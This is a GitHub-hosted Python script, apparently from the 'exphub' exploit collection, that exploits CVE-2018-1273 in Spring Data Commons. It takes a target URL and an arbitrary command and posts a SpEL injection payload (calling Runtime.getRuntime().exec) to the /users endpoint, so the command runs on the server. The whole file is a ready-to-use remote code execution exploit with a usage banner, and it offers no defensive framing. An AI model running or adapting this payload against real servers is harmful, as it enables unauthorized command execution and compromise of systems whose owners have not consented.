-
Notifications
You must be signed in to change notification settings - Fork 1.1k
/
Copy pathcve-2018-1273_cmd.py
51 lines (45 loc) · 2.14 KB
/
cve-2018-1273_cmd.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzyker
import requests
import sys
if len(sys.argv)!=3:
print('+----------------------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ Spring Data Commons Remote Code Execution (No display) +')
print('+----------------------------------------------------------------------------+')
print('+ USE: python3 cve-2018-1273_cmd.py <url> "<cmd>" +')
print('+ EXP: python3 cve-2018-1273_cmd.py http://1.1.1.1:8080 "touch /tmp/exphub" +')
print('+ VER: Spring Data Commons 1.13 to 1.13.10 +')
print('+ Spring Data Commons 2.0 to 2.0.5 +')
print('+----------------------------------------------------------------------------+')
sys.exit()
url = sys.argv[1]
cmd = sys.argv[2]
vuln = url + "/users"
headers = {
'Host': "localhost:8080",
'Connection': "keep-alive",
'Content-Length': "120",
'Pragma': "no-cache",
'Cache-Control': "no-cache",
'Origin': "http://localhost:8080",
'Upgrade-Insecure-Requests': "1",
'Content-Type': "application/x-www-form-urlencoded",
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
'Referer': "http://localhost:8080/users?page=0&size=5",
'Accept-Encoding': "gzip, deflate, br",
'Accept-Language': "zh-CN,zh;q=0.9,en;q=0.8"
}
payload = "username[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('%s')]=&password=&repeatedPassword=" % cmd
try:
r = requests.post(vuln, data=payload, headers=headers)
if r.status_code == 500:
print ("[+] Code executed successfully")
else:
print ("[-] Target Not CVE-2018-1273 Vuln, Good Luck")
except:
print ("[-] Target Not CVE-2018-1273 Vuln, Good Luck")